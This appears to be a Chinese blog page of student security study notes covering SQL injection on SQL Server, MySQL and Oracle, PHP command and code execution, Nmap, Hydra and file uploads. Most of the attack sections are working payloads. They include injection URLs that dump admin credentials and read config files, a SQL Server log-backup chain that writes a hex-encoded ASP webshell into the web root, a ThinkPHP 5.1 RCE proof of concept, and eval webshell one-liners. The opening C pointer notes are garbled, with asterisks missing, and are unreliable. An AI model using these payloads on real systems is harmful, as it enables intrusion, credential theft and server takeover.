B组第五周笔记

金博豪

c语言指针的详解

  1. int p; //这是一个普通的整型变量
  2. int p; //首先从P 处开始,先与*结合,所以说明P 是一个指针,然后再与int 结合,说明指针所指向的内容的类型为int 型.所以P是一个返回整型数据的指针
  3. int p[3]; //首先从P 处开始,先与[]结合,说明P 是一个数组,然后与int 结合,说明数组里的元素是整型的,所以P 是一个由整型数据组成的数组
  4. int p[3]; //首先从P 处开始,先与[]结合,因为其优先级比高,所以P 是一个数组,然后再与结合,说明数组里的元素是指针类型,然后再与int 结合,说明指针所指向的内容的类型是整型的,所以P 是一个由返回整型数据的指针所组成的数组
  5. int (p)[3]; //首先从P 处开始,先与*结合,说明P 是一个指针然后再与[]结合(与”()”这步可以忽略,只是为了改变优先级),说明指针所指向的内容是一个数组,然后再与int 结合,说明数组里的元素是整型的.所以P 是一个指向由整型数据组成的数组的指针
  1. int p; //首先从P 开始,先与结合,说是P 是一个指针,然后再与*结合,说明指针所指向的元素是指针,然后再与int 结合,说明该指针所指向的元素是整型数据.由于二级指针以及更高级的指针极少用在复杂的类型中,所以后面更复杂的类型我们就不考虑多级指针了,最多只考虑一级指针.
  2. int p(int); //从P 处起,先与()结合,说明P 是一个函数,然后进入()里分析,说明该函数有一个整型变量的参数,然后再与外面的int 结合,说明函数的返回值是一个整型数据
  3. Int (*p)(int); //从P 处开始,先与指针结合,说明P 是一个指针,然后与()结合,说明指针指向的是一个函数,然后再与()里的int 结合,说明函数有一个int 型的参数,再与最外层的int 结合,说明函数的返回类型是整型,所以P 是一个指向有一个整型参数且返回类型为整型的函数的指针
  4. int ( p(int))[3]; //可以先跳过,不看这个类型,过于复杂从P 开始,先与()结合,说明P 是一个函数,然后进入()里面,与int 结合,说明函数有一个整型变量参数,然后再与外面的结合,说明函数返回的是一个指针,,然后到最外面一层,先与[]结合,说明返回的指针指向的是一个数组,然后再与结合,说明数组里的元素是指针,然后再与int 结合,说明指针指向的内容是整型数据.所以P 是一个参数为一个整数据且返回一个指向由整型指针变量组成的数组的指针变量的函数.

    sqlserver联合注入

1、简介

sqlserver经常与asp或者aspx一起使用,操作系统多数是win2012 win2018

数据库版本 sql2008 sql2012

http://www.demo1.com/index.aspx?id=1

2、注释符号

—空格 单行注释

/ / 多行注释

3、判断是否注入

‘ 单引号是否报错

and 1=2

and 1=1

页面是否相同

4、判断列数

order by

http://www.demo1.com/index.aspx?id=1 order by 3

5、联合查询

联合查询 需要每个列的类型要一直 或者可以使用null 直到页面出错。

http://www.demo1.com/index.aspx?id=-1 union select 1,’2’,’3’

http://www.demo1.com/index.aspx?id=-1 union select null,null,null

6、查询系统信息

db_name() 数据库名

@@version 版本信息

User_Name() 当前用户

host_name() 计算机名称

7、查询数据

http://www.demo1.com/index.aspx?id=-1 union select null,username,password from admin

报错注入

爆出数据库

http://www.demo1.com/index.aspx?id=-1 and db_name()>0

当前用户 dbo

http://www.demo1.com/index.aspx?id=-1 and User_Name()>0

爆出其他数据库

http://www.demo1.com/index.aspx?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases)>0

http://www.demo1.com/index.aspx?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’))>0

http://www.demo1.com/index.aspx?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’,’iNethinkCMS’,’model’,’msdb’))>0

爆表

http://www.demo1.com/index.aspx?id=-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ AND is_ms_shipped=0)>0

http://www.demo1.com/index.aspx?id=-1 and (select top 1 name from mydb.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘admin’))>0

爆出列

http://www.demo1.com/index.aspx?id=1 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=’admin’ and COLUMN_NAME not in(‘ID’))>0

http://www.demo1.com/index.aspx?id=1 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=’admin’ and COLUMN_NAME not in(‘ID’,’username’))>0

爆出数据

http://www.demo1.com/index.aspx?id=1 and (select top 1 password from admin)>0

http://www.demo1.com/index.aspx?id=1 and (select top 1 username from admin)>0

备份拿webshell

<%execute(request(“a”))%>

差异备份 经常会出错的 不稳定

log备份一句话

;IF EXISTS(select table_name from information_schema.tables where table_name=’test_tmp’)drop table test_tmp;alter database mydb set RECOVERY FULL;

; drop table test_tmp;create table test_tmp (a image);backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’

;drop table test_tmp

;create table test_tmp (a image);

;backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;

;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA)

;backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’

;drop table test_tmp

http://www.demo1.com/index.aspx?id=1;IF EXISTS(select table_name from information_schema.tables where table_name=’test_tmp’)drop table test_tmp;create table test_tmp (a image);backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’

select * from art where id=1;IF EXISTS(select table_name from information_schema.tables where table_name=’test_tmp’)drop table test_tmp;create table test_tmp (a image);backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’

许俊一

SQL注入

SQL注入类型的区分详解

首先按照常用接收方式的不同可以分为以下三种

GET

GET请求的参数是放在URL里的,GET请求的URL传参有长度限制 中文需要URL编码

URL最长的长度 https://www.cnblogs.com/cuihongyu3503319/p/5892257.html

POST

POST请求参数是放在请求body里的,长度没有限制

COOKIE

cookie参数放在请求头信息,提交的时候 服务器会从请求头获取参数。

<?php

print_r($_GET);

print "<hr>";

print_r($_POST);

print "<hr>";

print_r($_COOKIE);

?>

注入数据类型的区分

int 整型
select from user where id=1
sting 字符型
from user where username=’admin’
like 搜索型

以上 除了第一种以外 其余在判断注入或查询语句的时候都要进行闭合,不闭合 SQL语句不仅会出错,可能与原意不一样,会造成错误的判断。

字符型 注入闭合
select from user where username=’admin’ and ‘x’=’x’
‘ and ‘x’=’x 这个部分就是闭合的部分
like 模糊型注入闭合
from news where title like ‘%标题%’
select * from news where title like ‘%标题%’ and ‘1%’ = ‘1%’

select * from news where title like ‘%s%’ and ‘1%’ = ‘1%’

注入方法区分

联合查询注入 union select 联合两个表

报错注入 数据库报错信息 进行注入

盲注入

  • 布尔型注入
  • 时间型注入

mysql+php 手工注入篇

mysqlde 注释符号

#

—空格

/*里面的内容都会被注释*/

用于注释后后面语句 不再执行

例如

select * from artile where id=1#这个部分的语句不再执行

注入常用查询系统信息函数

version()

MySQL 版本

user()

数据库用户名

database()

数据库名

@@datadir

数据库路径

@@version_compile_os

操作系统版本

判断是否存在注入

页面是否返回正常,或是否存在报错信息

and 1=1 正常

and 1=2 错误

&& 1=1 转码 %26%261=1 正常

&& 1=2 转码 %26%261=2 错误

http://target_sys.com/article.php?id=-1 or 1=2

http://target_sys.com/article.php?id=1 or 1=2

or 1=1

or 102

-1||1=2 转码-1 %7c%7c1=2 正常

-1||1=2 转码-1%7c%7c1=2 错误

&&与||这种特殊的符号 一定要在浏览器url前进行转码之后方可提交 因为浏览器默认不会进行编码

判断列数

与其他数据库一样 order by 进行排列获取字段数

http://target_sys.com/article.php?id=1 order by 3

order by 3 页面正常 order by 4 页面返回空白 或者文章没有显示出来,列数为3个

mysql与access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统

联合查询 union select

union select 查询两个表的内容

http://target_sys.com/article.php?id=-1 union select 1,2,3

http://target_sys.com/article.php?id=1 and 1=2 union select 1,2,3

以上两个语句的意思都是相同的 前面获取数据为null 将会显示后面的数字

查询库名

把数字替换成你要查询的函数名 database() 当前数据库名

查询表名

mysql 里面有一个库information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因为可以利用这个库来获取当前库的表

语句如下

http://target_sys.com/article.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1

target_sys

http://target_sys.com/article.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x7461726765745f737973 limit 0,1

这个database()函数与 target_sys 相同,如果不使用database()函数就要把target_sys 转换 十六进制 0x7461726765745f737973


limit 0,1 就是获取第一个表名 获取第二个表名 就要把0 改变成 1 第三个 2 第四 3 如此类推 直接 返回 空

admin

article

moon_range

查询字段

查询字段也是查询 information_schema库 里的信息。

admin表 转换 成十六进制 0x61646d696e

http://target_sys.com/article.php?id=-1 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1

id

username

password

查询数据

http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin

group_concat() 用于 打印并接 字符串 输出两个字段的内容 0x3a是 字符 :最终的结果是

admin:e10adc3949ba59abbe56e057f20f883e

mysql+php 手工注入篇 爆库 爆表 爆字段

查询所有的库

http://target_sys.com/article.php?id=-1unionselect1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

查询库里所有的表

http://target_sys.com/article.php?id=-1unionselect1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()

查询表里所有的字段

http://target_sys.com/article.php?id=-1unionselect1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()

查询数据

http://target_sys.com/article.php?id=-1unionselect1,2,group_concat(username,0x3a,password) from admin

查询失败的原因

这种方面不是通用的,有时候 查询不全 这个原因是字段的大小问题。解决办法 换一个字段查询,或者 用函数查询长度再用字符串函数截取。

报错注入读取文件

extractvalue 读取文件

http://target_sys.com/mysqlinj.php?id=-1 and (extractvalue(1,concat(0x7e,(select load_file(‘C:\inetpub\wwwroot\target_sys.com\data\config.inc.php’)),0x7e)))

有长度限制

exp方法读取

http://target_sys.com/mysqlinj.php?id=1 and (exp(~(select*from(select load_file(‘C:\inetpub\wwwroot\target_sys.com\data\config.inc.php’))a)));

通常情况使用exp方法,没有长度限制

oracle 延时注入

延时注入 属于盲注入的一种,适用的场景较多,基本上任何注入都可以使用这种注入方式进行测试

判断注入

http://www.jsporcle.com/news.jsp?id=-1or1=dbms_pipe.receive_message('RDS‘, 10)—

http://www.jsporcle.com/news.jsp?id=1and1=dbms_pipe.receive_message('RDS‘, 10)—

如果页面延时10秒返回,即存在注入。

延时注入

两种布尔型盲注入方式,一种是decode盲注入,另外一种是逐字猜解法盲注入

这里可以使用decode盲注入

and 1=(select decode(substr(user,1,1),’S’,1,0) from dual) —

在decode注入里加入延时语句。

and1=(selectdecode(substr(user,1,1),’S’,dbms_pipe.receive_message(‘RDS’,10),0) from dual) —

查询数据

首先判断长度

(selectdecode(length(user),6,dbms_pipe.receive_message(‘RDS’, 10) ,0) from dual);

网站测试语句

http://www.jsporcle.com/news.jsp?id=1 and1=(selectdecode(length(user),6,dbms_pipe.receive_message(‘RDS’,10),0) from dual)—

查询第一个字符

(selectdecode(substr(user,1,1),’S’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) —

(selectdecode(substr(user,2,1),’Y’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) —

(selectdecode(substr(user,3,1),’Y’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) —

(selectdecode(substr(user,4,1),’T’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) —

(selectdecode(substr(user,5,1),’E’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) —

(selectdecode(substr(user,6,1),’N’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) —

姚佳远

命令执行定义

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,

当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

形成原因

脚本语言优点是简洁,方便,但也伴随着一些问题,如速度慢,无法解除系统底层,如果我们开发的应用需要一些除去web的特殊功能时,就需要调用一些外部程序。带来方便的同时也存在威胁。

漏洞危害

继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器

代码执行与命令执行的区别

命令执行漏洞:相当于在cmd下敲命令,有一点像SSRF的利用方式

command``1``&command``2` `两个命令同时执行``command``1``&&command``2` `只有前面命令执行成功,后面命令才继续执行``command``1``;command``2` `不管前面命令执行成功没有,后面的命令继续执行``command``1``||command``2` `顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
命令执行常用函数
1``. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,``函数原型如下:string system(string command, int&return_var)``其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。`` ``2``. Exec:exec函数可以用来执行一个外部的应用程序``string exec (string command, array&output, int &return_var)``其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,``return_var存放执行命令后的状态值。`` ``3``.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,``当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,``需要使用passthru函数来替代system与exec函数。``Passthru函数原型如下:void passthru (string command, int&return_var)``其中,command是要执行的命令,return_var存放执行命令后的状态值。`` ``4``. Shell_exec:执行shell命令并返回输出的字符串,``函数原型如下:string shell_exec (string command)``其中,command是要执行的命令。

实战 TP5.1的命令执行漏洞

在url添加上poc

/index.php?s=index/\think\Container/invokeFunction&``function=call_user_func_array&vars[]=system&vars[``1``][]=dir  最后加命令
修复方案
1``.尽量少用执行命令的函数或者直接禁用``2``.参数值尽量使用引号包括``3``.在使用动态函数之前,确保使用的函数是指定的函数之一``4``.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义``5``.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用``6``.对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤``7``.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义``而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。
代码执行漏洞

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

代码执行相关函数:

Javascript: eval

Vbscript:Execute、Eval

Python: exec

代码执行漏洞的利用:

1、一句话木马

${@eval($_POST[1])}

2、获取当前工作路径

${exit(print(getcwd()))}

使用菜刀

3、读文件

${exit(var_dump(file_get_contents($_POST[f])))}

f=/etc/passwd

使用post提交数值 f=/etc/passwd

4、写webshell

${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}

f=1.php&d=1111111

同样使用post

代码执行漏洞修复方案:

对于eval()函数一定要保证用户不能轻易接触eval参数或者用正则严格判断输入的数据格式。

对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes

对于preg_replace放弃使用e修饰符.如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。

郑佳榆

localhost

127.0.0.1

其他人访问网址需要知道ip地址

查询ip地址需要打开cmd :ipconfig

域名:www.baidu.com
网址:http://www.baidu.com:80/1.php?

捕获http协议

火狐游览器:http header live 捕获http

编码方式

URL编码

Base64编码

HTML实体化编码

加密

MD5加密是广泛使用的一种散列函数

无法逆解,计算容易,长度固定,破解困难。

dos命令

查看命令

1.Cd 进入某一路径

3.More 查看文件内容

4.Type 查看文件内容

操作命令
  1. Md 创建文件夹
  2. Rd 删除空文件夹
  3. Copy 复制
  4. Del 删除
  5. Ren 重命名文件

搜索引擎高级语法

intitle: 标题包含

intext: 内容包含

inurl: 在某一网址下的特定内容

site:www.baidu.com 查看该网址的站点信息

Nmap

-sT TCP connect0扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。
-sP ping扫描,加上这个参数会使用ping扫描,只有主机存活, nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。
-sS 半开扫描,一般不会记入日志,不过需要root权限。
-sU udp扫描,但是一般不可靠-SA 用来穿过防火墙的规则集,速度慢。
sV 端口服务及版本
-A 包含了-sV,-O,全面系统检测,启动脚本检测,扫描等。
PO 扫描之前不使用ping,适用于防火墙禁上ping,比较有用。
-v 显示扫描进程
-0 探测目标系统的漏洞,容易误报
-ON/-oX/-0G 将报告写入文件,格式分别为正常(自定义.txt) ,XML,grepable.
-iL 扫描主机列表


扫描C段:

namp -sP www.baidu.com/24 -oN ip.txt

扫描指定端口:

nmap -p 80 198.169.1.2

渗透测试

信息搜集

渗透测试就是信息收集的过程

要知道 IP 端口(1-65535) 域名 (baidu.com 一级域名 www.baidu.com 二级域名 XXX.www.baidu.com 三级域名)

  1. 博客 列如typecho,WordPress博客
  2. OA系统

关于网站的语言:

  1. PHP
  2. JAVA—反序列化
  3. Python—模板注入
  4. ASP

子域名搜索——-旁站

网站目录

网站中附件

查询开放端口

kali linux : nmap -Pn -sV www.cjlusec.com

操作系统
windows

不区分大小写

当使用powershell : cat Aa.txt

能打开aa.txt

Linux

区分大小写

当在linux中: cat aA.txt

无法查看aa.txt的内容

小结论

(通过能否区分大小写打开文件来判断操作系统)

项枫

穷举

常见的端口服务

http 80
https 443
ftp 21
ssh 22
mysql 3306
mssql 1433
rsync 873
oracle 1521
mongo 28017
redis 6379
tomcat 8080
smtp 25
POP3 110
dns 53
telent 23
vnc 5900
pcanywhere 5632
Apache/Tomcat/Nginx/Axis2/resin/jboss 80|8080
WebLogic 7001
Jenkins 8080 8089
SNMP 161
Zabbix 8069
elasticsearch 9200 9300

hydra

-R 继续从上一次进度接着破解。

-S 采用SSL链接。

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程。

service 指定服务名

支持的服务和协议:telnetftp pop3[-ntlm] imap[-ntlm] smb smbnt

http-{head|get} http-{get|post}-formhttp-proxy cisco cisco-enable vnc

ldap2 ldap3 mssql mysql oracle-listenerpostgres nntp socks5 rexec

rlogin pcnfs snmp rsh cvs svn icq sapr3 sshsmtp-auth[-ntlm] pcanywhere

teamspeak sip vmauthd firebird ncp afp等等。

xhydra工具

文件上传漏洞

文件上传过程

客户端: 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定的路径

服务器: 接收的资源程序

<?php
         if\ ($_FILES["file"]["error"] > 0)
           {

           echo "Error: " . $_FILES["file"]["error"] . "<br />";

           }

         else

              {

               echo "Upload: " . $_FILES["file"]["name"] . "<br />";

               echo"Type: " . $_FILES["file"]["type"] . "<br />";

               echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";

               echo "Stored in: " . $_FILES["file"]["tmp_name"];

               }

?>

p







相关推荐

发表评论

路人甲

网友评论(0)